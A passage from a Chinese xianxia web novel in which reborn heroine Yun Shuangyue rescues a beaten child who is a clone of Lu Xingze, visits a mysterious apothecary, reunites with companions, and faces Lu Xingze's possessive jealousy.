“你个娘们!别得寸——啊!”男人威胁的话还没说完,就感觉自己被一股巨力踹地直直跪下。
后面跟上来的火曼儿伸回踹人的脚,看着倒在地上惨叫的男人嗤笑一声。
“霜月姐你先带着那小孩走吧,我陪这群人玩玩。”火曼儿扭了扭脖子,撩起袖子露出被遮住的漂亮的肌肉线条:“喜欢揪人头发?我力气大,我和你比比呗。”
那双涂了红色豆蔻的手分别抓住剩下那四个地痞的头发,踩过领头男人的身体,硬生生拖着他们往巷子里去。
全程都没有使用一点灵力,用的是纯粹到极致的体术。
一旁的男孩目睹这画面,也被火曼儿的力气吓了一跳。
接着有一双手捂住他的眼睛,男孩感觉自己被人拢入了怀中。他的脸被女人轻轻按在肩窝,血腥气散去,鼻腔里满是女人发丝散发的香味。
那个人用帕子擦去他嘴角的血迹,指尖搭上他肿胀的腕关节:“会有些疼,数到三就好。”
……
骗人。
明明数到二就扭了。
男孩感受到痛意,却没有出声,只是盯着云霜月衣领的花纹淡淡想到。
“好孩子。”带有薄茧的指腹抹去他自己都没发现的眼泪,然后那双手的主人不知从哪变出一块甜滋滋的糖塞进他嘴中。
“你叫什么名字?”女人轻轻拍了拍他瘦得好似只剩一具白骨的脊背:“刚刚听到你说你娘,我把你送回她那吧?”
男孩没有说话,在云霜月看不见的角度,将刚刚一直藏在手中的碎瓷片扔掉。
“我娘已经死了。”他有些依恋地蹭了蹭云霜月,用那双刚刚哭过湿漉漉的眼睛看着她。
熟悉的眼睛让云霜月安抚他的动作一顿。
“我叫陆行则。”他含着糖,有些含糊不清地说:“你可以带我走吗?”
12. 镜像镇墟
“所以这被打的这么惨的家伙真是陆行则?”火曼儿语气微妙。
她此时已经将刚刚那几个作恶的地痞都挨个收拾完了,正跟着云霜月前往医馆的路上。
要说为什么先去医馆,还不是陆行则那给“自我”身上没一处好肉,又是淤青又是骨折的。
火曼儿将信将疑地盯着蜷缩在云霜月怀里的小男孩,他瘦得几乎皮包骨,脸上也被泥土和血污弄得脏兮兮的,看不清具体的模样。
本来云霜月随身带着帕子想帮他擦一擦脸,谁知仔细一看陆行则的脸上也都是大大小小的伤口,细小的沙子糊在即将结痂的伤处,清理出来必定会重新流血。
好不狼狈。
陆行则那种性格的人,怎么他的分身会混成这副样子。
按照“照影”这种术法的特点,它所捕捉分身的性格应该和主人的别无二致才对。陆行则在修真界如此风生水起,而他的分身在一个小镇的煎饼摊上差点被打死?
况且火曼儿一开始还顺便探查了这个男孩的根骨,比一般人的还沉重。所谓修炼一途,根骨越轻盈者越有天赋,对天地灵气的感悟也会越深。
“不会搞错了吧?”火曼儿抬手想戳戳那男孩的脸,却被躲过去了。
嘶。
这股欠劲倒有点像。
云霜月看着这一幕有点好笑:“错了也没关系,一开始救这孩子也并非是想找到谁的分身。”轻轻拍了拍怀里男孩想要抬起的脑袋。
然后她就感觉脖子有点痒,低头一看和男孩暗金色的眼瞳撞在了一起。
一旁火曼儿看云霜月已经抱了好一会了,想到她弱不禁风的身体状况提议道:“霜月姐,要不我替你抱着吧。你歇歇?”
云霜月还没回答,就感受了胸前的衣领处传来一阵轻微的拉扯感。
陆行则已经将头重新低了下去,继续埋在云霜月脖颈处,只留下一只满是伤痕的手攥着云霜月衣服的一角。也不开口说话,就沉默地窝在她怀里。
云霜月了然:“他身上都是骨折和各种伤口,挪来挪去也不好。”安抚似地摸摸男孩的脊背:“我抱着好了,这孩子瘦得只剩骨头架子,根本不重。”
夜里的气温有些低,此时她们已经远离了闹市。一阵微凉的晚风吹来,让云霜月没控制住咳嗽了两声。
面对火曼儿担心的目光,云霜月微微摇了摇头示意她不必担心:“没关系的,老毛病而已。”
但此时她怀里的男孩听到动静却动了动,猝不及防挣扎了几下,趁着云霜月没反应过来的功夫,径直跳了下去。
面对云霜月诧异的目光,他别开眼:“我自己,可以。”
从嘴里蹦出了五个字。
男孩的声音嘶哑,像破风箱那样说话漏气。可能他也知道自己声音难听,让云霜月带他走后就一直没吭声。
陆行则其实还想在云霜月怀里多呆一会,这个女人很好闻。
和漆黑潮湿的贫民窟完全不一样,那里有母亲身上腐朽的味道,即使埋在了黄土里也久久不会散去,还有喝得烂醉的地痞流氓倒在地上不省人事后的臭味,在赌场里挥霍一空后醉生梦死的脂粉气。
这是什么味道呢?
陆行则在他活到现在仅有的匮乏认知里寻找。
于是他先想到了母亲还活着的时候会在太阳底下晒被子里的棉絮,又想到了药铺那晒干的忍冬藤。疑心是否还要把春天那枝头上第一束盛开的梨花和糖霜也一并糅在一起培暖了,才能获得这种让人闻着就安心的味道?
不过听到了这个女人的咳嗽声后,陆行则选择从她身上下来。
母亲离开前也总是咳嗽。
她的面容在陆行则的心中其实已经记不太清了,唯有那那一阵阵的,好像永远不会停下的咳嗽声留在他的记忆里,成为好不容易睡着后又让他惊醒的梦魇。
他半敛着眼皮,牵上云霜月的衣袖:“医馆,不在这边。”
陆行则没有放开云霜月的袖子,就这么扯着带她去可以找到医馆的路。
一旁的火曼儿却哽住了:“你知道一开始我们走的路是错的怎么不说啊?”
听到这话后前面一瘸一拐的男孩转过来看着她,敷衍地扯开一个笑脸,然后什么也没说就转回去了。
“......哈。”火曼儿气笑了。
屁大点小孩,心思这么多。
就是这个表情,和陆行则那家伙简直就像一个人。就算他脸上乱七八糟的什么也看不清,但那个眼神火曼儿可太熟悉了。
在云霜月怀里那么乖,还以为不是那货的分身呢。结果眼下根本不用再多做什么怀疑了好吗,和本人简直是一比一复刻。
就在火曼儿颇为无语时,陆行则就带着云霜月来到了医馆。
由于医馆处于镇子的边角,此时门前没有一个人。不过门大大方方敞开着,可以看到烛火旁正在碾药的掌柜。
云霜月踏入馆内,掌柜听到动静后抬起头,目光从进来的三人身上扫过。
“这位小姐,是你需要医治吗?”他对着云霜月说。
云霜月听到他这么问虽不解,但还是解释道:“掌柜的您看错了,是我旁边这孩子需要。”她牵住陆行则的手,把他引到前面来让掌柜看得清楚些。
“哦.....我看看。”掌柜没说什么,随意打量了一下面前的陆行则:“只是断了几根骨头,没什么事。”
“断了几根骨头还没什么事?”火曼儿看着面前这个掌柜,怎么感觉这么不靠谱呢。
掌柜转身打了个哈欠,在后方的药柜子里面随意地挑挑拣拣。
他懒散回应道:“在你们这群仙人眼里,凡人断骨不是抬手的事情?”
掌柜又转了回来,把抓到的那几味药材放进一个简陋的小药壶内煮着:“只有关于神魂的伤口,你们才会重视吧。”
“你怎么!”火曼儿震惊到。
“我怎么知道你们身份的?”掌柜接下火曼儿的话,慢悠悠地煎药:“老头我活这么久,没吃过猪肉总要见过猪跑吧。”
云霜月将目光放到这个掌柜身上,重新审视。
眼前的老人披着件浆洗发硬的麻布长衫,前襟用五颜六色的丝线歪斜绣着八卦图。他左眼用一块布蒙上了,泛黄的料子洇出深浅不一的暗斑,右眼泛着浑浊的琥珀色,刚刚云霜月就发现了,它注视着人的时候总会偏移半寸。
“小姐不必如此看我。”掌柜弯下腰从药柜深处摸出一个缠着蛛网的瓷瓶,倒出粉末洒在药壶里搅了搅对云霜月说道:“外敷三日,忌沾子时露水。”<
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p>他将壶里的汤药一部分装进了药瓶中递给云霜月,另外一小部分倒入瓷碗中推给了陆行则:“这碗你先喝下去,身上的伤口就能好了。”
陆行则看着面前的药碗,又看了掌柜一眼,便没多做犹豫直接拿起来喝了。
云霜月想抬手阻止都来不及。
她疑心掌柜是不是做了什么手脚,但眼下手里毫无根据。
直到云霜月听到“哐当”一声,瓷碗从陆行则手上脱落掉到桌子上滚了两圈,随后停在了他昏迷的头边。
“掌柜!”
“呵呵......小姐不必惊慌。”老人转动了一下浑浊的眼珠:“正常的,等他醒来就好了。”
云霜月走上前将晕倒的陆行则抱回怀里,拦了一下想要上前的火曼儿:“别冲动。”
她示意火曼儿看陆行则的伤口。
只见男孩虽然昏迷,但身上的伤却在喝下药后以肉眼可见的速度恢复,颜色重的淤青消散得更是明显。
云霜月看着老人道:“多谢掌柜出手相助,您需要我们支付什么样的报酬。”
寻常医馆是收钱治人,但云霜月知道眼前这个神秘的老人,需要的一定不是钱财。
就拿这个神异的药来说,云霜月并没有在他熬制的药物上面察觉到灵力的痕迹,所用的材料也是平常随处可见的普通药材,这样却能瞬间治疗陆行则那么重的伤势。
这个老人,绝对不是一般人物。
果不其然,老人听到云霜月要支付报酬的话后笑了两声:“我不喜金银俗物。不过小姐恰似我故人,今日便免了这单罢。”
他见云霜月正欲开口说话,就用一个夸张的哈欠打断她:“瞧我这把老骨头,怎么就困了呢?”他眯了眯眼睛:“小姐,老人家我啊不像你们年轻人,就先回去休息喽。”
“.......”云霜月看出了他此举是故意的,便拱了拱手道:“那就谢过掌柜了。今日不便叨扰,我们先走了。”
说罢就给怀里还在昏睡的陆行则调整了一下姿势,让他睡得更舒服些后朝火曼儿点点头,唤她离开。
只是就在这时,老人从远处又慢悠悠传来一句话:“等会我这小医馆还有三位客人要上门,像是小姐的老乡,麻烦小姐您招待一下啊。”
三个人。
老乡。
“霜月姐他说的不会是!”火曼儿也意识到了。
那三个人极有可能是陆行则他们。
云霜月和火曼儿对视一眼。
半响后,二人在医馆找了个位置落座。
就在她们坐下后没过多久,左邢那吵吵嚷嚷的声音就传进了医馆。人未到,声先至。
“姬芜珩你的本名法器到底靠不靠谱!怎么把我们带到这种犄角旮旯里来。这里一排屋子全是黑的,就只有那个医馆还亮着灯。”他的声音越来越近。
最后在医馆面前停住了。
“吱呀——”一只手推开了云霜月进来时关上的大门。
“豁!”左邢震惊道:“怎么真在里面。”
而最开始推开门走在前面的陆行则却没有说话。
他歪了歪头,看着云霜月怀里抱着的人。用那双暗金色的眼睛默不作声盯了好一会,才开口。
“云霜月,他是谁?”
13. 镜像镇墟
“什么谁是谁的?”左邢探出个头,视线转了几圈才在云霜月怀里找到答案:“陆行则你啥眼神啊这么尖。”
“姐你怎么捡了个小孩?”他走上前去:“而且这小孩还怪眼熟的......”
直到彻底将那孩子的面容看清,左邢像被定住一眼站在原地不动了。
于是陆行则就见云霜月刚要开口,注意力被左邢这莫名其妙的动作吸引了过去,没有回答他的问题。
“不是?”在前面堵着的左邢发出不可置信的声音。
他先是瞪大眼睛看着云霜月怀里那个孩子的样貌,又迅速扭头看了眼后面的陆行则。
因为老掌柜的药恢复了伤势,所以云霜月拿沾湿的手帕把“陆行则”灰扑扑的脸擦干净后,露出的样子和左邢记忆中小时候的陆行则简直一模一样。
要不是本人在这,他简直怀疑自己面前是不是出现了什么幻觉。
云霜月见左邢这个样子,就知道他们一路上肯定没遇见“照影”所产生的分身,否则断然不会露出这种表情。
“这件事我正好要和你们聊聊。”她示意左邢三人入座。
在最后的陆行则先一步抬脚越过左邢,一旁的姬芜珩也想知道发生了什么,收起没了动静的青玉针顺势跟上。直到两人都经过了左邢的旁边,他才如梦初醒地到火曼儿身边坐下。
“你刚刚什么表情,我不记得我们这群人里有个傻子啊。”火曼儿明知故问,笑嘻嘻的。
左邢懒得和她斗嘴:“姑奶奶,你们这是什么情况啊。”
从哪带了一个小号的陆行则回来。
而此时早就在云霜月旁边落座的陆行则本人也见到了男孩,他反应有些古怪,微微皱眉开口就是一句:“这是什么东西。”
“对你自己这么凶呢。”云霜月打趣他。
她将太乙镇灵阵的相关细节告诉了陆行则三人,重点讲述关于了“照影”术下的分身。
“所以要破开这个阵法,我们那几个分身很重要?”姬芜珩得出了和云霜月她们一样的结论。
“目前来看是这样的,一路上我们没有找出别的和这个阵法相关的线索。”云霜月想了一下后问道:“你们一路上可有发生什么?”
陆行则三人与云霜月并不同路,遇见的事情也肯定不同。或许从他们那可以获得一些线索。
但可惜三人回忆一番后都摇了摇头,表示没有遇到奇怪的人和事情。
“等一下。”姬芜珩头摇到一半突然停下,随后掏出青玉针放在桌上:“我们能找到你们是因为我的本命法器。”
“你们可能不太清楚我加入的原因,其实就是为了它。”姬芜珩放出一点灵力在针上,一如既往没有一点反应:“我的本名法器一直无法同我自己的灵力感应,只是自从前几天我们准备到这个小镇开始,它却时不时能和我联系上。”
“我就说刚刚你的针怎么突然动了。”左邢也上手戳了戳青玉针,然后突然一拍大腿:“不对啊!你就算可以和它联系上又怎么样,它是怎么知道火曼儿她们在哪的?”
姬芜珩撇了他一眼:“所有我的意思就是,这件事很奇怪啊。”
“还有之前我们卷入阵法前,你的本名法器也动过。”云霜月看着姬芜珩:“它一开始告诉了我们阵眼的方向,所以那一次也是它自己动的是吗?”
“对啊!”火曼儿也想起来了:“你之前没和我讲过你本命法器的事情,我还以为那次是你自己想催动的。”
姬芜珩摇了摇头:“不是。”
“可是就算我们知道了,就凭那一点东西我们目前也做不了什么吧。”火曼儿抱臂。
“确实啊!”左邢卸力趴在桌上。
他余光撇到还在昏睡的“陆行则”,转过头细细打量,“不过你还真别说,这小孩跟陆行则小时候真的像。”
一下子就引得一桌人朝他看来,其中当然也包括被议论的本人。
“他小时候也看着如此瘦小?”云霜月轻声问到。
前世云霜月印象里的陆行则一直是意气风发的模样,他也从不会和云霜月将小时候的事情。
相反,他对云霜月讲述最多的是他在另一个世界的故事,那些闻所未闻的东西让云霜月感到好奇。不过并不是一定要听的程度,因为那些东西对于被困住的云霜月而言实在太远了。
是陆行则自己喜欢讲,讲给云霜月一个人听。
云霜月是个很好的倾听者,无论大的还是小的事情,她永远都会用那副温柔而宁静的样子着看你。
晴朗的,不晴朗的,雨天还是雪天。云霜月都喜欢坐在躺椅上看看宅院外面的天空,这时候的陆行则就会搬来一把椅子,好吧,大多时候连椅子都懒得搬,就这么放松地坐在云霜月腿边,讲述关于他的故事。
陆行则一贯都是笑眯眯的,但在云霜月的记忆中,说到关于那个世界的他就像幼时云霜月练字偷尝的墨水,是苦的。
这时候就算云霜月逗他,说他窝在她腿部的姿势像小狗,陆行则也不会反驳。
他只会顺势闭上眼睛,闻着云霜月的味道睡觉,在穿越后一刻不停的修炼中贪得片刻安稳。
——
“额......”左邢本想着直接说出人家小时候的事情好像不太好,他对上正主的眼睛让他递过来个台阶揭过去得了。
结果陆行则就看了一眼左邢,就又把头转回去了,根本没有想管的意思。
这咋看着是让他继续说的意思。
左邢愣了一下,试探道:“他小时候不是和我一个村的嘛......”
没动静。
好吧,那他继续讲了。
“这家伙惨的很啊!家里只有他一个屁大点小孩,乡亲时不时就送点东西给他。我就是那个时候认识他的。”左邢驾了条二郎腿:“当时他晕在河边。我还以为什么那!走近一看居然是个人。”
左邢哪见过这样的人啊,拎起来比他家的鹅还轻。
他当时也没多大,跑起来刚利索呢。背也背不动,就这么拎着陆行则的后衣领想给人家拖回去。
给陆行则直接疼醒了。
小左邢没反应过来啊,还以为他诈尸呢!直接吓得哇哇大哭鼻涕直冒。
“这是我第一次把陆行则这家伙给震住哈哈哈!”他伸出一根手指在众人面前晃了晃:“你们猜这么着?他过了好久才反应过来,开口对我说出三个字。你们猜猜看是什么。”
“谢谢你?”姬芜珩按照他的想
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法猜测了一下。
“额,差不多差不多。”左邢挠了挠脸:“他说的‘吵死了’。”
“他居然小时候就是这种性格啊。”火曼儿发出嘲笑。
“对啊!所以我去修炼的时候特意把一个传讯符留给他了。”左邢啧啧感叹道:“要不然我真觉得他会被打死。”
谁知道没过多久陆行则就踏入上界了。
左邢讲得口渴,左右看了下问云霜月有没有什么茶水。
“你问霜月姐干嘛,出来历练这么久了连壶水都不记得带?”火曼儿逮住机会就呛他。
“我那是喝光了好吗。”
“喝了你这么不灌?”
“火曼儿你听听你说的是人话吗。这镇子古怪的地方那么多,我敢喝这的水吗。”
一旁的云霜月笑着听他们斗嘴,动作不停,抬手从储物戒中变出一排不同种类的水壶。
清水装一个,千金难买的醒春茶装一个,以宝易物的去神茶装一个......
“豁!还有醉仙酿!”左邢眼尖,一下子就看到了在琳琅满目的茶水中藏着的酒。
他低头瞧瞧这堆水,又抬头瞧瞧云霜月,啧啧称奇:“这地方还能让我喝上这种档次的酒,不愧是云氏的大小姐啊。”
面对左邢崇拜的目光,云霜月只是将醉仙酿的酒壶拿起来放到他面前:“喝吧,我这还有很多。”
“哈哈!谢谢姐啊。恭敬不如从命了!”左邢抓起来就迫不及待倒嘴里。
火曼儿看着他那不正经的样子就翻了个白眼,懒得说话了。
同喝了酒就忘乎所以的左邢不同,姬芜珩提出了一个问题:“我们今晚的住宿怎么办?”
如果平时还好,毕竟是修士,在野外他们可以一两晚都不休息。但此时他们的灵力被阵法大幅度衰减,无法支撑他们的精神了。
而且这个小镇的情况也颇为神秘,显然随便找个小镇中的客栈将会一晚不现实,谁知道会不会遇到什么突发状况。
云霜月将温水倒入杯中推给姬芜珩:“这个也不用担心。”
只见云霜月扭动了一下储物戒,一道微弱的蓝光闪过,随后星星点点的灵力从戒指中溢出。
云霜月将戒指对着旁边空旷的地方,那处突然浮现出一扇精致的门。
“这个是随身空间。”她朝姬芜珩展示:“小一点的可以在云氏商会买到,最大的这个在我这。”
火曼儿推开那扇门,一条长长的廊道映入眼帘,仿佛看不到尽头一样。
“寻常空间只能存放些物品,霜月姐你这个连人都能放进去的,”火曼儿咂舌:“可不是一般的贵啊。”
“能派上用场就好。”云霜月招呼道:“今天大家也累了,进去选个房间早点休息吧。”
火曼儿欢呼一声,第一个冲了进去。
姬芜珩和左邢随后也抬脚进去了。
云霜月把目光放到旁边还坐着的陆行则身上,提醒:“陆公子,你怎么还不进去?”
陆行则却一只手撑着脑袋,答非所问:“你要抱着他到什么时候?”
“嗯?”云霜月疑惑:“是会有什么事情吗?”
“有啊。”陆行则拽小孩的袖子:“他占了我的位置。”
14. 镜像镇墟
“他占了我的位置。”陆行则见云霜月愣住了,重复了一遍刚刚说的话。
话音落下,蜷缩在云霜月怀里的小孩明明昏迷了,却好像能听到一般动了动,在云霜月怀里埋得更严实了。
“说的什么话。”云霜月感受到怀里的动静,回过神来轻轻拍了一下他的嘴。
她知道陆行则没有别的意思,但这话叫别人听了去未免太浮想联翩。
陆行则没觉得有什么不对。
在清淮的那间院子里,云霜月怀里只会出现天上飞来的鸟雀,或者从不知何处冒出来的小猫小狗,再者就是昏昏欲睡的陆行则本人。
在他的认知里,默认了云霜月那是陆行则的专属位置。
饶是后面成为了闻名九州的剑衡仙君,数不尽的天下至宝尽数归于囊中。但没人知道,真正所谓属于他的,对他来说绝对安全的,只有清淮院中,那位名义上妻子的怀抱。
春日枕着流云锦打盹,冬日裹着天蚕丝取暖,就连暴雨惊雷的深夜,只要把额头抵在云霜月肩窝,连识海翻涌的煞气都会变得乖顺。
不过陆行则本人也并没有意识到这件事,只是在模模糊糊之中,如同野兽夺取食物一般凭借本能开口。
这个位置不可以给别人的。
但此时。
在这里,就在陆行则的眼前。
云霜月的怀里出现了一个陌生的脏小孩。
他们说这个小孩就是他本人的分身。
连左邢都说那个小孩和他小时候很像。
陆行则却不这么觉得。
他有些嘲讽地想。
他小时候可没有遇见云霜月。
记忆里漫天的大雪将地面与天空连成白茫茫的一片,天地的界限仿佛都被缝合了起来。
他自从穿越睁眼的那一刻开始,刺骨的北境冰霜就从未消散。
朔风卷起细雪,在昏暗的天幕下编织起密不透风的罗网,将他困在了雪地之中。
他被裹在一团昂贵丝绸里,上面沾的血腥气带着主人的残存的威压让冰原里的魔兽不敢上前。
可无论如何这种布料也不能保暖,薄如蝉翼的织物在暴风雪中猎猎翻飞,那时的他全身冰凉,连发抖的力气都没有。
意识模糊间,他陷入一片黑暗。
所幸后面左邢的父亲正巧出来打猎,发现并带走了他。
回忆到这,他的目光落到云霜月衣服上。
作为清淮云氏的嫡系一脉,她的衣服无一不精细,用料和陆行则穿越来的时候裹着的一样。
都是由一种在修真界吐丝的灵兽——天梦蚕所织。
这种灵兽所吐出来的丝线和寻常丝线不同,水火不侵,刀枪难入,是上好的防御材料。兼之用这种丝线做出来的衣服颜色鲜艳,材质柔软,深受修士喜爱。
但是喜爱归喜爱,天梦蚕在修真界数量稀少,千金难求,衣物制作工艺更是复杂,绝大部份都云氏商会掌控着。
其实陆行则本人不是很喜欢这种材质的衣服,小时候在北境差点被冻死的记忆还是给他带来了不小的影响。
不过他很喜欢这些布料出现在云霜月身上。
清淮的院子在冬天总是很暖和,这时候的云霜月在室内就只会披一件丝质长袍躺在椅子上,柔软的布料垂落在地面,还带着阵阵暖香。
陆行则动了动手指,把手朝着云霜月怀里伸去。
他揪住那个小孩的衣领,把他拎了出来。
云霜月感觉怀里一轻,目光一下就捉到了陆行则鬼鬼祟祟的手。
“咳。”她蹙了蹙眉,提醒似的轻咳一声。
能这般迅速地拎走这个孩子,必然要使用灵力辅佐,陆行则居然浪费灵力在这上面。
“云霜月,别急,别急。反正你们说这是我小时候。”他笑得很无害:“那就我来抱着就好了。”
为了证明自己抱的不错,装模作样地学着云霜月那样抱着小孩,还添乱似的颠了两下。
怀里小一号的他内伤还没彻底痊愈,被这两下颠得五官都下意识皱了皱。
云霜月一下就注意到了,她下意识向前伸了下手。
结果被陆行则灵活躲过。
见云霜月还要说话,他立刻站了起来打断:“走吧,天很晚了。早点休息吧。”
陆行则三两下就跨步到了门边,确认云霜月这个距离云霜月没法够到,这下才抱着孩子回头看她。
云霜月缩回手,有些无奈地摇了摇头:“这下倒是舍得进去了?”
刚刚定坐在那跟块石头似的挪也不挪,怎么还跟小孩一样。
说罢也起身,跟着陆行则进门。
——
门内。
陆行则不紧不慢地在前面走着,是一种云霜月恰好能跟上,但又不能彻底追上的速度。
两人之间没有说话,直到陆行则率先打破宁静。
“云霜月,刚刚左邢他们在的时候,你为什么一直不和我说话。”他像是寻常聊天那样,有些随意地开口。
哈,别以为他不知道。
云霜月这女人和姬芜珩论道的时候笑了三次,给火曼儿簪花的时候拢了她四次鬓发……
花心。
云霜月在后面看不清他的表情,便直接将内心的想法说出来了:“你一直没开口,我便也不适合主动提起。”
在云霜月看来他们两人的相识也仅限于前世,如今在所有人看来他们就是素不相识的陌生人。
和陆行则保持在这种能随时离开的关系里,也是云霜月重生而来的计划。
同云氏牵扯过深终究不是好事,前世的陆行则就是因为云霜月和他的婚约才会深陷这个庞大家族的泥潭而难以摆脱。
今生不能重蹈覆辙,唯一联系他们的婚书掌握在云霜月手中,只要用云氏的本命灵火就能毁去这个世界两人最后的羁绊。
看左邢他们见到她的反应,云霜月推测陆行则并没有告诉他们她是他的未婚妻。
烧毁婚书,便再无人知晓她与陆行则的关系。
云氏这千百年来的因果罪孽,也不会再牵连到无辜之人了。
获得灵火的关键就是解开云霜月身上的禁制,那样她才可以释放大量灵力催生本命灵火。
云霜月想着想着就开始思考接下来如何破解禁制,一时间又没及时回复完陆行则。
“……”
于是前面的陆行则停下脚步。
他听清楚了云霜月说的话。
陆行则转过头来,笑
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着问:“为什么不合适?”
谁来定义的合适与不合适?
所有人都可以不合适。
唯独他和云霜月不可以这么说。
云霜月和她相处了那么久,比刚刚坐在那的所有人加起来的时间都长。
她身上那些跌宕起伏的经历,也只和他一人冒险过。
和左邢他们说话合适,为什么偏偏到他这就不行了。
陆行则刚刚是故意一直不开口的,他想云霜月主动和他说话。
但他等啊等,等到她从火曼儿对话到姬芜珩,就是没等到云霜月和他讲话。
直到所有人进门了,她才把注意力从别人身上挪开,终于肯落到了他身上。
不可以这样的。
陆行则心想。
“又忘了我在客栈和你说的话了吗。”云霜月走上前:“我们现在才刚刚认识。”
她看见陆行则的发冠有些歪了,下意识抬手。
手伸到一半发现动作并不合适,就把手缩回去,指着自己的头发轻声提醒道:“陆公子发冠歪了。”
而陆行则一见到云霜月抬起手,就已经条件反射地低下头凑过去想让她整理了。
等半天头顶却没有什么力道下来,刚抬头就听见了云霜月说的话。
为什么不和前世一样直接上手呢。
他没反应过来,用鼻音小小发出“嗯?”一声。
云霜月这时却已经把手放下,从陆行则身边走了过去。
他只看见一截白色的裙摆,如同水中的游鱼那样窜走了。
云霜月向前走了几步,来到一间房间门口对他说道:“这间狭小一点,你应该喜欢。”
陆行则却像是也没理解这句话一样,好一会才问云霜月:“我原来的那间呢?”
他从刚刚开始反应就慢半拍。
“可是困了?”云霜月不知道他怎么突然变成这样了,有些诧异:“陆公子,我们已经回来了。”
前世云霜月的储物戒中留有一间专门给陆行则的房间,那里布置着陆行则从天南海北带来的东西。
虽然他从来没有住进去过,但会时不时往里面塞一些云霜月给他的小玩意。
但他们重生回来,里面的东西自然也消失不见了。
就如同今生他们没有履行的婚约一样。
“……“陆行则缓慢地眨了眨眼睛。
“那我……”之前的那个空房间去哪了。
话还没说完,就听见云霜月略带歉意地补充道:“你先前的房间被曼儿住了,她是女子,也不好换回来。”
不过云霜月觉得陆行则也不会在意这点小事,他对同伴向来大方。
毕竟前世那间房间他从未住过,仅是堆放些杂物罢了。
“……”出乎意料的,陆行则没有吱声。
走廊烛光昏暗,他用那双暗金色的眼睛盯着云霜月。
晃动的光影下,陆行则的瞳孔被映衬竖直的兽瞳。那些光斑在他眼睑下游动,恍若蛰伏在深潭下的蛇群终于嗅到血腥气。
简直和话本里的鬼怪一样。
过了一会,他莫名其妙冒出来一句和前面的话题八杆子打不着的话。
“云霜月,我们还是朋友吗。”
15. 镜像镇墟
云霜月觉得面前的陆行则有点奇怪。
对上眼睛,莫名觉得他的视线有一种十分黏稠的感觉。
这不对。
前世的他从籍籍无名到闻名九州的剑衡仙君,拜倒在他剑下的人数不胜数。
其中修仙子弟会敬佩于他精湛的剑术而拥护他,而魔教妖物咬牙切齿恨正道为何出了如此天才人物。无论是面对什么样的评价,陆行则永远都是面带笑意,一副处变不惊的磊落模样。
剑斩天下不平事,从此天光气运生。
正道的天之骄子是什么样子的,那陆行则就是什么样子的。
这是修真界正邪两派唯一的共识。
他的眼神应该是永远明亮的,正义的,和他的剑意一样直白。现实也是如此,前世的陆行则在云霜月印象里就是那样的。
但此时对上他的视线,云霜月却一种被藤蔓缠绕的感觉。
这样状态的陆行则她之前从未见过,疑心是自己感觉错了。
那种紧紧纠缠在枯朽的树木上于之共生的褐色植物,怎么看都有一种畸形的阴森感。寄生在已经死去的木头上,直到死亡也不会停止缠绕。
这样的东西怎么看都应该和陆行则没有丝毫相似的地方才对。
可是陆行则此时的眼神,就让云霜月无端把它们联系到了一起。
她感觉到陆行则的眼神在她身上滑动,从脚腕到脖颈,云霜月甚至感觉空气好像都有点稀薄。
她摩挲了一下手指,又捏了下指尖。
“我们当然是,朋友。”云霜月对陆行则说。
但什么是朋友?
参与过彼此的人生就算吗?
云霜月和陆行则之间实在太多回忆,如同桑蚕吐丝,记忆和他们的成长织在了一起。七年时间对于修真者来说不过弹指一瞬,但七年时间对于他们来说有太过漫长。
它占据了陆行则穿越过来近乎三分之一的时间,占据了云霜月前世所有和自由距离最近的时间。
剪不断,理不清。命运的丝线和红线交错,被两位主人跌跌撞撞打了一个又一个的死结,从开头到结局形成了莫名其妙的圆环。得意或者失意,开心还是痛苦,那些陆行则最赤裸最难堪的情绪,都被织进了云霜月的丝线里。
就算想要彻底分道扬镳,那些记忆也会像丝线一样系在二人的尾指之上,无法斩断。
云霜月也没想彻底和陆行则断绝关系,毕竟他们之间又没有什么仇恨,只是将他与自己最深的那个羁绊给抹去罢了。
朋友,朋友。
这个词陆行则前世常常在她耳边提起。
可是云氏那携带二人魂契的婚书是真,二人穿过的喜服也是真,这个词离他们相近又遥远。
遥远是因为他们相识起就开始的夫妻身份,相近却是因为陆行则曾不止一次说过她的性格很对他胃口。
云霜月想,没了云氏婚约,或许这一世他们就可以好好当上朋友了。
云霜月没交过朋友,但她翻阅过陆行则从外面给她带来的画本子。
朋友的距离肯定是没有夫妻那么亲密的,也不用无时无刻呆在一起。她翻到过那种一直在天涯两端,时时依靠书信往来的朋友。
她可以和陆行则做那种朋友。
这样既不用担心将陆行则再次牵入前世命运,又可以维持和他的关系。
毕竟在解开禁制离开小镇后,云霜月就要先回到清淮整理老宅遗留的东西,顺便接手云氏部分产业。
而按照前世陆行则的行程,他接下来就要去百仙盟诛魔了。
嗯……
他们也会和话本中所描述的那样,分隔在天下的两方。
这和前世云霜月一人留在清淮等待陆行则不同,回来的她有了对云氏深层的了解,就不会被云氏牵制在老宅。
虽说不渡川才是云氏势力最核心的地方,但禁不住内部人员稀少,分布在九州各地的商会酒楼组成了云氏的绝大部分。
也就是说这一世的云霜月在掌握资源后不必再呆在清淮,这修真界只要是云氏存在的地方,她都可以前往。
或许多年以后云霜月路过名下的商会,还能碰到被很多人簇拥的陆仙君。
那时的他应该也会和前世一样成为风光无限的正道魁首吧?
在云霜月的设想里,二人相遇就是彼此笑着点头示意,然后擦肩而过,各奔东西。
毕竟话本里说,这也是一种朋友。
……
陆行则看着发呆的云霜月,突然问道:“意思是不会离开我吗?”
云霜月挪开视线:“……不会。”
其实她还没理解为什么陆行则会突然冒出这句话,可对上他的眼睛,云霜月的嘴巴就先动了。
她又搓了搓指尖,想着自己也没说错。
总会再次遇见的,便也不算离别吧?
话音落下,那股黏稠的视线不见了。
显然是听到了云霜月说的,陆行则拉成直线的唇角重新扬起。
他恢复了那副正直开朗的模样。
陆行则利索地点了点头表示知道了,像是得到了满意的答案一般,就让云霜月也回去休息。
只见陆行则提着小一号的他迅速关上房门,倒是让刚刚还在感慨的云霜月愣了一下。
她看了眼闭上的房门,总觉得还是哪里不对,但仔细想想却没发现什么。
于是最后看了一眼,便挑了间和陆行则距离较远的房间进去了。
──
此时陆行则房内。
他刚扬起的唇角又重新放下,神色有些莫名地看着手上的小孩。
思绪游离。
话说云霜月知道吗,她说谎的时候喜欢下意识地搓手指。
前世云霜月身体不好时常需要喝药,但奈何有些稀有材料炼成丹后为了维持药效,一般会保留原本极苦的味道。说来也奇怪,云霜月这人不怕痛,却十分不喜苦。
陆行则给她带来的一些丹药她会捡着不苦的吃,而另外那些就被她放了起来,还会对陆行则谎称自己吃过了。
每当说那些话的时候,她就会捏捏指尖,搓搓手指。
不过刚刚在云霜月回答的时候,他把视线挪开了。
刻意的,无意的,反正就是没往云霜月手那看。
